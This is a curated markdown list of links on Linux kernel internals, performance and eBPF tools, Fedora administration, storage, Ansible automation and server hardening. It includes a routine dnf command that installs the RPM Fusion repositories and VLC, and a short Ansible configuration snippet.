- [LKRG](https://github.com/openwall/lkrg): Linux Kernel Runtime Guard
- [Following the Linux Kernel Defence Map](https://linuxplumbersconf.org/event/7/contributions/775/attachments/610/1096/Following_the_Linux_Kernel_Defence_Map.pdf) [video](https://linuxplumbersconf.org/event/7/contributions/775/)
- [How io_uring and eBPF Will Revolutionize Programming in Linux](https://www.scylladb.com/2020/05/05/how-io_uring-and-ebpf-will-revolutionize-programming-in-linux/)
- [My First Kernel Module: A Debugging Nightmare](https://reberhardt.com/blog/2020/11/18/my-first-kernel-module.html)
- [Is Your Linux Version Hiding Interrupt CPU Usage From You? | Tanel Poder Consulting](https://tanelpoder.com/posts/linux-hiding-interrupt-cpu-usage/#how-to-measure-interrupt-cpu-overhead-when-irq-time-accounting-is-disabled)
APFS FUSE Driver for Linux
#### Drivers
- [displaylink-debian](https://github.com/AdnanHodzic/displaylink-debian): DisplayLink driver installer for Debian and Ubuntu based Linux distributions.
- [How To Configure Your Monitors With Xrandr in Linux](https://linuxconfig.org/how-to-configure-your-monitors-with-xrandr-in-linux) on [kali](https://unix.stackexchange.com/questions/288670/how-to-setup-triple-monitors-with-kali-linux) too
- [FlashFloppy](https://github.com/keirf/FlashFloppy): Floppy drive emulator for Gotek hardware
- [Writing a pseudo-device driver on Linux](https://lyngvaer.no/log/writing-pseudo-device-driver)
- [Framework Laptop Embedded Controller (EC)](https://github.com/FrameworkComputer/EmbeddedController)
- [APFS FUSE Driver for Linux](https://github.com/sgan81/apfs-fuse)
### Performance
- [Optimizing-Linux-Performance-A-Hands-On-Guide-to-Linux-Performance-Tools](https://github.com/sahilshekhawat/Optimizing-Linux-Performance-A-Hands-On-Guide-to-Linux-Performance-Tools?files=1)
- [Why is the kernel community replacing iptables with BPF?](https://cilium.io/blog/2018/04/17/why-is-the-kernel-community-replacing-iptables/)
- [bcc](https://github.com/iovisor/bcc/): Tools for BPF-based Linux IO analysis, networking, monitoring, and more
- [bpftrace](http://www.brendangregg.com/blog/2018-10-08/dtrace-for-linux-2018.html)(DTrace 2.0) for Linux 2018
- [What's a CPU to do when it has nothing to do?](https://lwn.net/SubscriberLink/767630/594421f913c3d00a/)
- [How new-lines affect Linux performance](https://nadav.amit.zone/blog/linux-inline)
- [Hooking Linux Kernel Functions, Part 1: Looking for the Perfect Solution](https://www.apriorit.com/dev-blog/544-hooking-linux-functions-1)
- [Hooking Linux Kernel Functions, Part 2: How to Hook Functions with Ftrace](https://www.apriorit.com/dev-blog/546-hooking-linux-functions-2)
- [Hooking Linux Kernel Functions, Part 3: What Are the Main Pros and Cons of Ftrace?](https://www.apriorit.com/dev-blog/547-hooking-linux-functions-3)
- [Heatmaps Make Ops Better](https://www.honeycomb.io/blog/heatmaps-make-ops-better/)
- [execution-trace-viewer](https://github.com/teemu-l/execution-trace-viewer): Tool for viewing and analyzing execution traces
- [Program Profiling](https://www.ibm.com/support/knowledgecenter/ssw_ibm_i_73/ilec/progprof.htm)
- [ebpf_exporter](https://github.com/cloudflare/ebpf_exporter): Prometheus exporter for custom eBPF metrics
- [ARM and Intel have different performance characteristics: a case study in random number generation](https://lemire.me/blog/2019/03/20/arm-and-intel-have-different-performance-characteristics-a-case-study-in-random-number-generation/)
- [Estimating branch probability using Intel LBR feature](https://easyperf.net/blog/2019/05/06/Estimating-branch-probability): The underlying CPU feature that allows this to happen is called LBR(Last Branch Record). LBR feature is used to track control flow of the program. This feature uses MSRs (Model Specific Registers) to store history of last taken branches.
- Linux Applications Performance: [Introduction](https://unixism.net/2019/04/linux-applications-performance-introduction/).
- [A Multithreaded Fork of Redis That’s 5X Faster Than Redis](https://docs.keydb.dev/blog/2019/10/07/blog-post/)
- [600k concurrent websocket connections on AWS using Node.js](https://blog.jayway.com/2015/04/13/600k-concurrent-websocket-connections-on-aws-using-node-js/)
- Making Instagram.com faster: [Part 3 — cache first](https://instagram-engineering.com/making-instagram-com-faster-part-3-cache-first-6f3f130b9669)
- [gprof, Valgrind and gperftools](http://gernotklingler.com/blog/gprof-valgrind-gperftools-evaluation-tools-application-level-cpu-profiling-linux/)- an evaluation of some tools for application level CPU profiling on Linux.
- [A small s**tstorm is heading your way, if you're in the business of running code on Intel computers.](https://twitter.com/damageboy/status/1194751035136450560)[code-erratum](https://www.intel.com/content/dam/support/us/en/documents/processors/mitigations-jump-conditional-code-erratum.pdf)
- [BPF: A New Type of Software](http://www.brendangregg.com/blog/2019-12-02/bpf-a-new-type-of-software.html), [BPF Performance Tools (book)](http://www.brendangregg.com/bpf-performance-tools-book.html), [repo](https://github.com/brendangregg/bpf-perf-tools-book).
- [Linux Applications Performance: Introduction](https://unixism.net/2019/04/linux-applications-performance-introduction/)
- [Comparison of Rust async and Linux thread context switch time and memory use](https://github.com/jimblandy/context-switch)
- [How Netflix uses eBPF flow logs at scale for network insight](https://netflixtechblog.com/how-netflix-uses-ebpf-flow-logs-at-scale-for-network-insight-e3ea997dca96)
#### Monitoring
- [netdata](https://my-netdata.io/): Real-time performance monitoring, done right! [github](https://github.com/netdata/netdata).
- [Watchman](https://github.com/facebook/watchman): Watches files and records, or triggers actions, when they change.
- [cartography](https://github.com/lyft/cartography): Cartography is a Python tool that consolidates infrastructure assets and the relationships between them in an intuitive graph view powered by a Neo4j database.
- [hardinfo](https://github.com/lpereira/hardinfo): System profiler and benchmark tool for Linux systems
- [hotspot](https://github.com/kdab/hotspot): The Linux perf GUI for performance analysis.
- [Busychild](https://github.com/h0mbre/busychild): a pstree mod that prints other helpful information and with added functionality
- Sysmon on Linux:
- [Automating the deployment of Sysmon for Linux 🐧 and Azure Sentinel in a lab environment](https://techcommunity.microsoft.com/t5/azure-sentinel/automating-the-deployment-of-sysmon-for-linux-and-azure-sentinel/ba-p/2847054)
- [Install SysinternalsEBPF](https://github.com/Sysinternals/SysinternalsEBPF/blob/main/INSTALL.md)
- [Install Sysmon](https://github.com/Sysinternals/SysmonForLinux/blob/main/INSTALL.md)
- [Install-Sysmon-For-Linux.sh](https://github.com/OTRF/Blacksmith/blob/master/resources/scripts/bash/Install-Sysmon-For-Linux.sh)
- [Sysmon For Linux Lab Environment](https://github.com/OTRF/Azure-Sentinel2Go/tree/master/grocery-list/Linux/demos/Sysmon-For-Linux)
- [An intro to finding things in Linux](https://www.madebygps.com/an-intro-to-finding-things-in-linux/)
### Red Hat/Fedora
- Yum to DNF [Cheatsheet](https://fedoraproject.org/wiki/Yum_to_DNF_Cheatsheet)
- [How to reset a root password on Fedora](https://fedoramagazine.org/reset-root-password-fedora/)
- [Use restic on Fedora for encrypted backups](https://fedoramagazine.org/use-restic-encrypted-backups/)
- [Software Galaxies](https://github.com/anvaka/pm): package managers visualization, [see it](https://anvaka.github.io/pm/)
- [United RPMs repo](https://unitedrpms.sourceforge.io/x86_64/repoview/)
- [chromium on pkgs.org](https://pkgs.org/download/chromium) (or you can build it [on your own](https://chromium.googlesource.com/chromium/src/+/master/docs/linux_build_instructions.md#Instructions-for-Google-Employees))
- [Planet CCRMA at home](http://ccrma.stanford.edu/planetccrma/software/) (SuperCollider home)
- [Fedora Scientific Vagrant boxes are here!](https://echorand.me/fedora-scientific-vagrant-boxes-are-here.html)
- [Install VLC on Fedora](https://www.kaizenuslife.com/2018/10/31/install-vlc-media-player-in-fedora-28-29/):
- [How to install and activate Cockpit web console on RHEL 8](https://www.cyberciti.biz/faq/install-activate-cockpit-the-web-console-on-rhel-8/)
- [How to reset a root password on Fedora](https://fedoramagazine.org/reset-root-password-fedora/)
- [Backup on Fedora Silverblue with Borg](https://fedoramagazine.org/backup-on-fedora-silverblue-with-borg/)
- [Fedora 27 - Laptop won't suspend when closing lid](https://unix.stackexchange.com/questions/414297/fedora-27-laptop-wont-suspend-when-closing-lid)
- [Installing alternative versions of RPMs in Fedora](https://fedoramagazine.org/installing-alternative-rpm-versions-in-fedora/) with [Modularity](https://docs.pagure.org/modularity/)
- [Use Postfix to get email from your Fedora system](https://fedoramagazine.org/use-postfix-to-get-email-from-your-fedora-system/)
- [Trace code in Fedora with bpftrace](https://fedoramagazine.org/trace-code-in-fedora-with-bpftrace/)
```bash
# installing the repo
> sudo dnf install https://download1.rpmfusion.org/free/fedora/rpmfusion-free-release-$(rpm -E %fedora).noarch.rpm https://download1.rpmfusion.org/nonfree/fedora/rpmfusion-nonfree-release-$(rpm -E %fedora).noarch.rpm
> sudo dnf install vlc
```
- [Python in RHEL 8](https://developers.redhat.com/blog/2018/11/14/python-in-rhel-8/)
- [bodhi](https://github.com/fedora-infra/bodhi): Bodhi is a web-system that facilitates the process of publishing updates for a Fedora-based software distribution.
- [the-new-hotness](https://github.com/fedora-infra/the-new-hotness): A fedmsg consumer that files bugzilla bugs for upstream releases.
- [koschei](https://github.com/fedora-infra/koschei): Continuous integration for Fedora packages.
- [mirrormanager2](https://github.com/fedora-infra/mirrormanager2): Rewrite of the MirrorManager application in Flask and SQLAlchemy.
- [fedora-messaging](https://github.com/fedora-infra/fedora-messaging): A library for sending AMQP messages with JSON schema in Fedora infrastructure.
- [fedocal](https://github.com/fedora-infra/fedocal): A web based calendar application for Fedora.
- [Use timedatectl to Control System Time and Date in Linux](https://www.maketecheasier.com/timedatectl-control-system-time-date-linux/)
- [Configurando timezone em RHEL CentOS](https://www.ultrav.com.br/2014/04/17/configurando-timezone-rhel-centos/)
- [Fedora pastebin and fpaste updates](https://fedoramagazine.org/fedora-pastebin-and-fpaste-updates/)
- [Managing software and services with Cockpit](https://fedoramagazine.org/managing-software-and-services-with-cockpit/)
- [Set up single sign-on for Fedora Project services](https://fedoramagazine.org/set-up-single-sign-on-for-fedora-project-services/)
- [Fedy](https://github.com/rpmfusion-infra/fedy) makes it easy to install third-party software in Fedora.
- [Fedora Switch Display Manager](https://www.if-not-true-then-false.com/2018/fedora-switch-display-manager/): GDM/SDDM/LXDM/LightDM/KDM/XDM
- [CONFIGURING USER AUTHENTICATION USING AUTHSELECT](https://access.redhat.com/documentation/en-us/red_hat_enterprise_linux/8/html/configuring_authentication_and_authorization_in_rhel/configuring-user-authentication-using-authselect_configuring-authentication-and-authorization-in-rhel)
- [Come test a new release of pipenv, the Python development tool](https://fedoramagazine.org/come-test-a-new-release-of-pipenv-the-python-development-tool/)
- [conky](https://github.com/brndnmtthws/conky/wiki/Installation): Light-weight system monitor for X.
- [Red Hat Remote Exams - Create a Live USB using Red Hat Enterprise Linux](https://www.redhat.com/pt-br/about/videos/red-hat-remote-exams-create-live-usb-using-rhel)
- [RPM Packages of Sequoia PGP for Fedora](https://github.com/ironthree/sequoia-rpms)
### Debian
- [Introduction to AppArmor](https://debian-handbook.info/browse/stable/sect.apparmor.html) - The Debian Administrator's Handbook
- Ubuntu
- [Improving Bluetooth Audio Quality on Ubuntu Linux](https://kn100.me/improving-bluetooth-audio-linux/)
- [Back to Linux](https://metaredux.com/posts/2021/07/31/back-to-linux.html)
### Packaging
- [Packages — GuixSD](https://www.gnu.org/software/guix/packages/)
- [warp](https://github.com/dgiagio/warp): Create self-contained single binary applications
- [Linux brew](https://linuxbrew.sh/): Linuxbrew is a fork of Homebrew, the macOS package manager, for Linux. [github](https://github.com/Linuxbrew/brew)
- [Nixpkgs](https://github.com/NixOS/nixpkgs): is a collection of packages for the Nix package manager. It is periodically built and tested by the Hydra build daemon as so-called channels.
- [ELF STATIFIER MAIN PAGE](http://statifier.sourceforge.net/): Statifier is a tool for creating portable, self-containing Linux executables.
- [Crev](https://github.com/crev-dev/crev): Socially scalable Code REView and recommendation system that we desperately need.
#### DEB
- [Limiting the power of package installation in Debian](https://lwn.net/Articles/770784/)
#### RPM
- [RPM packages explained](https://fedoramagazine.org/rpm-packages-explained/)
##### Build
- [Creating RPM Packages with Fedora](https://fedoraproject.org/wiki/How_to_create_an_RPM_package)
- Spec file, to create lsutil rpm: [here](https://github.com/pld-linux/lsiutil)
### Storage
- [Mounting a hard disk image including partitions using Linux](http://www.andremiller.net/content/mounting-hard-disk-image-including-partitions-using-linux)
- [How to full encrypt your linux system with lvm on luks](https://www.linux.com/blog/how-full-encrypt-your-linux-system-lvm-luks)
- [Tutorial: ClamAV-Antivirus-Scanning in Nextcloud implementieren](https://ollis.blog/tutorial-clamav-antivirus-scanning-in-nextcloud-implementieren/)
- [Mapping UID and GID of local user to the mounted NFS share - Server Fault](https://serverfault.com/questions/514118/mapping-uid-and-gid-of-local-user-to-the-mounted-nfs-share)
- [RAMCloud](https://github.com/PlatformLab/RAMCloud): RAMCloud is a new class of super-high-speed storage for large-scale datacenter applications. It is designed for applications in which a large number of servers in a datacenter need low-latency access to a large durable datastore. [Overview](https://ramcloud.atlassian.net/wiki/spaces/RAM/overview)
- Synology Resources:
- [Synomon](http://dottoremoe.com/synomon/)
- [SynoCommunity](https://synocommunity.com/)
- [spksrc](https://github.com/SynoCommunity/spksrc): Cross compilation framework to create native packages for the Synology's NAS
- [ssdWearOut](https://github.com/Sid-Sun/ssdWearOut): Do you want to wear out your SSD before the warranty expires?
- [ELSA](https://arxiv.org/pdf/1810.11888.pdf): Efficient Long-Term Secure Storage of Large Datasets
- [drbd](https://github.com/LINBIT/drbd-9.0): LINBIT DRBD-9.0 (new-stable)
- [Analyzing Your File System and Folder Structures with Python](https://janakiev.com/blog/python-filesystem-analysis/)
- [Algorithms behind Modern Storage Systems](https://www.infoq.com/presentations/storage-algorithms): Alex Petrov talks about modern storage system approaches, discussing storage internals, and evaluation techniques to choose a database with the optimal read, write or memory overhead, best suitable for a certain data.
- [PrivateStorage.io](https://privatestorage.io/): Least Authority and Private Internet Access announce PrivateStorage.io. [paper](https://leastauthority.com/blog/least-authority-and-private-internet-access-announce-privatestorage-io-a-secure-and-privacy-focused-cloud-storage-solution/) (using Tahoe-LAFS)
- [Get Your Data Back With Linux-Based Data Recovery Tools](https://www.linux.com/tutorials/get-your-data-back-linux-based-data-recovery-tools/)
- Smartctl and disk monitoring links:
- [SMART Stats Exposed — a Drive Stats Remix](https://www.backblaze.com/blog/smart-stats-exposed-a-drive-stats-remix/)
- [How to check an hard drive health from the command line using smartctl](https://linuxconfig.org/how-to-check-an-hard-drive-health-from-the-command-line-using-smartctl)
- [RASCSI](https://github.com/akuker/RASCSI/wiki): RaSCSI is a virtual SCSI device emulator that runs on a Raspberry Pi.
- [How to Check if TRIM Is Enabled for Your SSD (and Enable It if It Isn’t)](https://www.howtogeek.com/257196/how-to-check-if-trim-is-enabled-for-your-ssd-and-enable-it-if-it-isnt/)
- [FreeNAS HDD torture test](https://github.com/zaggynl/hddtest)
- [The Linux Filesystem Explained](https://www.linux.com/training-tutorials/linux-filesystem-explained/)
#### Databases
- [Postgres Is Underrated—It Handles More than You Think](https://dev.to/heroku/postgres-is-underrated-it-handles-more-than-you-think-4ff3)
- [PostgREST](https://postgrest.org/en/v6.0/): is a standalone web server that turns your PostgreSQL database directly into a RESTful API. [repo](https://github.com/PostgREST/postgrest)
- [Postgres is a great pub/sub & job server](https://layerci.com/blog/postgres-is-the-answer/)
- [Port 5432 is open](https://www.splitgraph.com/blog/data-delivery-network-launch): introducing the Splitgraph Data Delivery Network.
- [psql command line tutorial and cheat sheet](https://tomcam.github.io/postgres/)
- [nocodb](https://github.com/nocodb/nocodb/): The Open Source Airtable alternative
- [ClickHouse](https://github.com/ClickHouse/ClickHouse): is a free analytics DBMS for big data.
- [Database-less torrent website](https://boredcaveman.xyz/post/0x1_dbless-torrent-website.html)
### Controllers
- LSILogic util: [lsiutil](https://github.com/kojack/lsiutil)
## Caching
- [Evolution of Application Data Caching : From RAM to SSD](https://medium.com/netflix-techblog/evolution-of-application-data-caching-from-ram-to-ssd-a33d6fa7a690)
- [EVCache](https://github.com/Netflix/EVCache): A distributed in-memory data store for the cloud
- [extstore](https://github.com/memcached/memcached/wiki/Extstore): is an addition to memcached which leaves the hash table and keys in memory, but moves values to external storage (usually flash).
## Automation
- [Script to convert a Debian installation on DigitalOcean to Arch Linux](https://github.com/gh2o/digitalocean-debian-to-arch)
- [HomelabOS](https://gitlab.com/NickBusey/HomelabOS): Your very own offline-first privacy-centric open-source data-center!
- [5 Lessons Learned From Writing Over 300,000 Lines of Infrastructure Code](https://blog.gruntwork.io/5-lessons-learned-from-writing-over-300-000-lines-of-infrastructure-code-36ba7fadeac1)
- [ieturk](https://github.com/varal7/ieturk): Intuitive Annotation Tool for Information / Named Entity Recognition using localturk / Amazon Mechanical Turk
- [terraform-aws-secure-baseline](https://github.com/nozaq/terraform-aws-secure-baseline): Terraform module to set up your AWS account with the secure baseline configuration based on CIS Amazon Web Services Foundations.
- [cue](https://github.com/cuelang/cue): Validate and define text-based and dynamic configuration.
- [Mitogen](https://mitogen.networkgenomics.com/): Mitogen is a Python library for writing distributed self-replicating programs.
- [Terraform-Templates](https://github.com/ghostinthewires/Terraform-Templates): Terraform Templates to Deploy Infrastructure.
- [Rapid YAML](https://github.com/biojppm/rapidyaml)
- [How To Use Terraform with DigitalOcean](https://www.digitalocean.com/community/tutorials/how-to-use-terraform-with-digitalocean)
- [Opta](https://github.com/run-x/opta): is a new kind of Infrastructure-As-Code framework where you work with high-level constructs instead of getting lost in low level cloud configuration.
### Ansible
- Some usefull ansible playbooks, scripts and tips on [ansible](./ansible) dir.
- [ansible.posix](https://github.com/ansible-collections/ansible.posix)
- [Playbooks and roles for installing and managing Ansible networking CI](https://github.com/ansible/network-infra-playbooks)
- [Ansible Role: EPEL Repository](https://github.com/geerlingguy/ansible-role-repo-epel)
- [Ansible role to install and manage nginx configuration](https://github.com/jdauphant/ansible-role-nginx)
- [ansible-playbook-gitlab](https://github.com/tingtun/ansible-playbook-gitlab)
- [ansible-cloudflare](https://github.com/arachnys/ansible-cloudflare)
- [ansible-pelican](https://github.com/talaniz/ansible-pelican): Ansible playbooks for deploying and updating a pelican blog.
- [Automating Python with Ansible](https://tdhopper.com/blog/automating-python-with-ansible/).
- [dnf module](https://docs.ansible.com/ansible/2.3/dnf_module.html)
- [Python 3 Support](https://docs.ansible.com/ansible/latest/reference_appendices/python_3_support.html): On your hosts ansible file, include a var subsection on your hosts group:
- [CHANGING THE SSH PORT WITH ANSIBLE](https://dmsimard.com/2016/03/15/changing-the-ssh-port-with-ansible/)
- [Understanding Ansible Inventories](https://medium.com/devopslinks/understanding-ansible-inventories-db7b993b3c17): The key to understanding all of Ansible.
- [How to install Ansible on Ubuntu 18.04 for IT automation](https://www.cyberciti.biz/faq/how-to-install-ansible-on-ubuntu-18-04-for-it-automation/)
- [Red Hat Ansible Automation Platform Workshops](https://ansible.github.io/workshops/) [repo](https://github.com/ansible/workshops) - Training Course for Ansible Automation Platform.
- Ansible [Best Practices](https://docs.ansible.com/ansible/latest/user_guide/playbooks_best_practices.html)
- Jinja templaes (used in ansible): [Template Designer Documentation](https://jinja.palletsprojects.com/en/2.10.x/templates/)
```config
[group:vars]
ansible_python_interpreter=/usr/bin/python3
```
- [A Tutorial for Learning Adhoc Commands in Ansible](https://www.linode.com/docs/applications/configuration-management/ansible-adhoc-commands/)
- [vmware_rest](https://github.com/ansible-collections/vmware_rest): Ansible Collection for VMWare (REST modules)
- [ansible-aci](https://github.com/CiscoDevNet/ansible-aci): Cisco ACI Ansible Collection
- [infoblox-ansible](https://github.com/infobloxopen/infoblox-ansible): Ansible modules for interfacing to Infoblox systems
- [Community Network Collection](https://github.com/ansible-collections/community.network): The Community Network collection includes community maintained content to help automate network appliances.
- [Zuul](https://github.com/ansible/project-config) configuration files for the Ansible tenant.
- [Community Sops Collection](https://github.com/ansible-collections/community.sops): Simple and flexible tool for managing secrets
- [CentOS.org Ansible Infra playbooks](https://github.com/CentOS/ansible-infra-playbooks): Just a placeholder for the Ansible playbooks used in the CentOS Infrastructure.
- [Infrastructure](https://github.com/rocky-linux/infrastructure): The infrastructure monorepo for The Rocky Linux Foundation
- [AnsibleBoy](https://github.com/ron7/ansible-boy): aims to use the Ansible `facts` as data, which can then be visualized in a table format.
### Puppet
- [running puppet on openwrt](https://github.com/solarkennedy/puppet-on-openwrt) (dead!)
## Security
- [andOTP](https://github.com/andOTP/andOTP): Open source two-factor authentication for Android
- [Librefox](https://github.com/intika/Librefox): Firefox with privacy enhancements
- [Managing credentials with KeePassXC](https://fedoramagazine.org/managing-credentials-with-keepassxc/)
- [pass](https://www.passwordstore.org/): the standard unix password manager
- [RoboForm](https://www.roboform.com/)
- [MFA on PayPal](https://dev.to/shehackspurple/mfa-on-paypal-29ld)
- [Apache Teaclave](https://teaclave.apache.org/): an open source universal secure computing platform, making computation on privacy-sensitive data safe and simple
### Auditing
- [A UNIX security auditing tool based on several security frameworks](https://github.com/lateralblast/lunar)
- [The 101 of ELF files on Linux](https://linux-audit.com/elf-binaries-on-linux-understanding-and-analysis/): Understanding and Analysis
### Hardening
- [9 Kubernetes Security Best Practices Everyone Must Follow](https://www.cncf.io/blog/2019/01/14/9-kubernetes-security-best-practices-everyone-must-follow/)
- [BlueWars](https://medium.com/blueops/bluewars-capture-the-flag-defensivo-que-aconteceu-na-h2hc-514c75e3f13c): Capture The Flag Defensivo que aconteceu na H2HC
- [CCAT](https://github.com/cisco-config-analysis-tool/ccat): Cisco Config Analysis Tool
- [Ciderpress](https://github.com/da667/Ciderpress): Hardened wordpress installer
- [debian-cis](https://github.com/ovh/debian-cis): PCI-DSS compliant Debian 7/8 hardening.
- [Endlessh](https://github.com/skeeto/endlessh): an SSH tarpit.
- [ERNW Repository of Hardening Guides](https://github.com/ernw/hardening): This repository contains various hardening guides compiled by ERNW for various purposes.
- [fero](https://github.com/coreos/fero): YubiHSM2-backed signing server
- [FirewallChecker](https://github.com/Z3Prover/FirewallChecker): A self-contained firewall checker
- [Get SSH login notification on Telegram](https://8192.one/post/ssh_login_notification_withtelegram/)
- [Hardentools](https://github.com/securitywithoutborders/hardentools) is a utility that disables a number of risky Windows features.
- [How To Secure A Linux Server](https://github.com/imthenachoman/How-To-Secure-A-Linux-Server): An evolving how-to guide for securing a Linux server.
- [Implementing Least-Privilege Administrative Models](https://docs.microsoft.com/en-us/windows-server/identity/ad-ds/plan/security-best-practices/implementing-least-privilege-administrative-models)
- [Iptables Essentials](https://github.com/trimstray/iptables-essentials): Common Firewall Rules and Commands.
- [iptables-essentials](https://github.com/trimstray/iptables-essentials): Iptables Essentials: Common Firewall Rules and Commands.
- [kconfig-hardened-check](https://github.com/a13xp0p0v/kconfig-hardened-check): A tool for checking the hardening options in the Linux kernel config
- [Keyringer](https://keyringer.pw/): encrypted and distributed secret sharing software
- [Keystone Project](https://keystone-enclave.org/). Github: [Keystone Enclave](https://github.com/keystone-enclave/)
- [linux-hardened](https://github.com/copperhead/linux-hardened): Minimal supplement to upstream Kernel Self Protection Project changes.
- [List of sites with two factor auth](https://github.com/2factorauth/twofactorauth)
- [nftables](https://www.funtoo.org/Package:Nftables): nftables is the successor to iptables. It replaces the existing iptables, ip6tables, arptables and ebtables framework. It uses the Linux kernel and a new userspace utility called nft. nftables provides a compatibility layer for the ip(6)tables and framework.
- Nice article with a lot of resources: [Common approaches to securing Linux servers and what runs on them.](https://medium.com/@ageis/common-approaches-to-securing-linux-servers-and-what-runs-on-them-dadcacc5388b)
- [opmsg](https://github.com/stealth/opmsg): is a replacement for gpg which can encrypt/sign/verify your mails or create/verify detached signatures of local files. Even though the opmsg output looks similar, the concept is entirely different.
- [prowler](https://github.com/toniblyx/prowler): AWS Security Best Practices Assessment, Auditing, Hardening and Forensics Readiness Tool. It follows guidelines of the CIS Amazon Web Services Foundations Benchmark and additional checks. Official CIS for [AWS guide](https://d0.awsstatic.com/whitepapers/compliance/AWS_CIS_Foundations_Benchmark.pdf).
- [reconbf](https://github.com/HewlettPackard/reconbf): Recon system hardening scanner
- [Sarlacc](https://github.com/scrapbird/sarlacc) is an SMTP server that I use in my malware lab to collect spam from infected hosts.
- [Secure & Ad-free Internet Anywhere With Streisand and Pi Hole](https://ifelse.io/2019/01/12/secure-ad-free-internet-anywhere-with-streisand-and-pi-hole/)
- [Secure Secure Shell](https://stribika.github.io/2015/01/04/secure-secure-shell.html) by [stribika](https://github.com/stribika)
- [Securing Docker Containers](https://0x00sec.org/t/securing-docker-containers/16913). [The Docker Bench for Security is a script that checks for dozens of common best-practices around deploying Docker containers in production.](https://github.com/docker/docker-bench-security)
- [securityonion-docs](https://github.com/Security-Onion-Solutions/securityonion-docs)
- [security.txt](https://securitytxt.org/): A proposed standard which allows websites to define security policies.
- See your site config with [Hardenize](https://www.hardenize.com/)
- [Set up two-factor authentication for SSH on Fedora](https://fedoramagazine.org/two-factor-authentication-ssh-fedora/)
- [solo-hw](https://github.com/SoloKeysSec/solo-hw): Hardware sources for Solo
- [ssh-auditor](https://github.com/ncsa/ssh-auditor): The best way to scan for weak ssh passwords on your network
- [Streisand](https://github.com/StreisandEffect/streisand) sets up a new server running your choice of WireGuard, OpenConnect, OpenSSH, OpenVPN, Shadowsocks, sslh, Stunnel, or a Tor bridge. It also generates custom instructions for all of these services. At the end of the run you are given an HTML file with instructions that can be shared with friends, family members, and fellow activists.
- [The Practical Linux Hardening Guide](https://github.com/trimstray/the-practical-linux-hardening-guide): 🔥 This guide details the planning and the tools involved in creating a secure Linux production systems - work in progress.
- [This is a practical guide to using YubiKey as a SmartCard for storing GPG encryption and signing keys.](https://github.com/drduh/YubiKey-Guide)
- [tls-what-can-go-wrong](https://github.com/hannob/tls-what-can-go-wrong): TLS - what can go wrong?
- [upvote](https://github.com/google/upvote): A multi-platform binary whitelisting solution
- [Using a Hardened Container Image for Secure Applications in the Cloud](https://www.cisecurity.org/blog/using-hardened-container-image-secure-applications-cloud/)
- [yubikey-ssh-setup](https://github.com/jessfraz/dotfiles/blob/master/bin/yubikey-ssh-setup)
- [Zero-knowledge attestation](https://www.imperialviolet.org/2019/01/01/zkattestation.html)
- RHEL Like systems:
- [CentOS7 Lockdown](https://github.com/naingyeminn/CentOS7_Lockdown)
- [RHEL7-CIS](https://github.com/radsec/RHEL7-CIS): Ansible RHEL 7 - CIS Benchmark Hardening Script
- [cisecurity](https://github.com/cohdjn/cisecurity): Configures Linux systems to Center for Internet Security Linux hardening standard.
- [ansible-role-hardening](https://github.com/konstruktoid/ansible-role-hardening): Ansible role to apply a security baseline. Systemd edition.
- [CIS Benchmarks Audit](https://github.com/finalduty/cis_benchmarks_audit): Simple command line tool to check for compliance against CIS Benchmarks.
- [Linux Hardening Checklist](https://github.com/trimstray/linux-hardening-checklist): This guide details creating a secure Linux production system. OpenSCAP (C2S/CIS, STIG).
- [Douane](https://douaneapp.com/): Linux personal firewall with per application rule controls
- [Two-factor authentication for SSH](https://developer.ibm.com/devpractices/devops/blogs/two-factor-authentication-for-ssh/)
- [Hardened/PaX Quickstart](https://wiki.gentoo.org/wiki/Hardened/PaX_Quickstart)
- [firejail](https://github.com/netblue30/firejail): Linux namespaces and seccomp-bpf [sandbox](https://wiki.archlinux.org/title/firejail).
- [Awesome Windows Domain Hardening](https://github.com/PaulSec/awesome-windows-domain-hardening): A curated list of awesome Security Hardening techniques for Windows.
- [CHAPS](https://github.com/cutaway-security/chaps): Configuration Hardening Assessment PowerShell Script (CHAPS)
### WebServers
- A lot of good posts by geek flare:
- [How to Configure SSL Certificate on Google Cloud Load Balancer?](https://geekflare.com/google-load-balancer-enable-ssl/)
- [Nginx Web Server Security & Hardening Guide](https://geekflare.com/nginx-webserver-security-hardening-guide/)
- [IBM HTTP Server Security & Hardening Guide](https://geekflare.com/ibm-http-server-security-guide/)
- [Apache Tomcat Hardening and Security Guide](https://geekflare.com/apache-tomcat-hardening-and-security-guide/)
- [How to Enable TLS 1.3 in Nginx, Cloudflare?](https://geekflare.com/enable-tls-1-3/)
- [Apache Web Server Hardening & Security Guide](https://geekflare.com/apache-web-server-hardening-security/) (broken!??)
- CaCerts
- [List of free rfc3161 servers.](https://gist.github.com/Manouchehri/fd754e402d98430243455713efada710) TSA Servers
- [certstream-server](https://github.com/CaliDog/certstream-server): Certificate Transparency Log aggregation, parsing, and streaming service written in Elixir
- Apache:
- [Apache Security](https://www.feistyduck.com/library/apache-security/) by [Ivan Ristić](https://twitter.com/ivanristic)
- [dotdotslash](https://github.com/jcesarstef/dotdotslash): An tool to help you search for Directory Traversal Vulnerabilities
- [A new security header: Feature Policy](https://scotthelme.co.uk/a-new-security-header-feature-policy/)
- [How do I prevent apache from serving the .git directory?](https://serverfault.com/questions/128069/how-do-i-prevent-apache-from-serving-the-git-directory/128082#128082)
- Nginx:
- [20 Essential Things to Know if You’re on Nginx Web Server](https://www.ubuntupit.com/essential-things-to-know-if-youre-on-nginx-web-server/)
- [Nginx C function](https://nginx-c-function.github.io): Create your desired C application on top of nginx module
- [NGINX config for SSL with Let's Encrypt certs](https://gist.github.com/nrollr/9a39bb636a820fb97eec2ed85e473d38)
- [How to Configure Nginx SSL Certifcate Chain](https://futurestud.io/tutorials/how-to-configure-nginx-ssl-certifcate-chain)
- [nginx ui](https://github.com/schenkd/nginx-ui#example): Nginx UI allows you to access and modify the nginx configurations files without cli.
- PHP:
- [Cheatsheet for finding vulnerable PHP code using grep](https://github.com/dustyfresh/PHP-vulnerability-audit-cheatsheet): This will assist you in the finding of potentially vulnerable PHP code. Each type of grep command is categorized in the type of vulnerabilities you generally find with that function.
- [snuffleupagus](https://github.com/nbs-system/snuffleupagus): Security module for php7 - Killing bugclasses and virtual-patching the rest!
- [FOPO-PHP-Deobfuscator](https://github.com/Antelox/FOPO-PHP-Deobfuscator): A simple script to deobfuscate PHP file obfuscated with FOPO Obfuscator
- [Decode.Tools](https://malware.expert/general/decode-tools-decode-php-obfuscator-by-fopo/): Decode PHP Obfuscator by FOPO
- [A new security header: Feature Policy](https://scotthelme.co.uk/a-new-security-header-feature-policy/)
